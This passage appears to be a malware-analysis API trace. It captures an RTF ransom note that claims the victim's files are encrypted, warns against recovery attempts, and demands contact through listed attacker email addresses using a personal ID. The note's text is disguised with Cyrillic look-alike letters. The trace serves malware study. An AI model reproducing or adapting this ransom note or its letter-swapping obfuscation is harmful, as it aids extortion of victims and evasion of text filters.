pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0040.581] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x25c5dd8, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 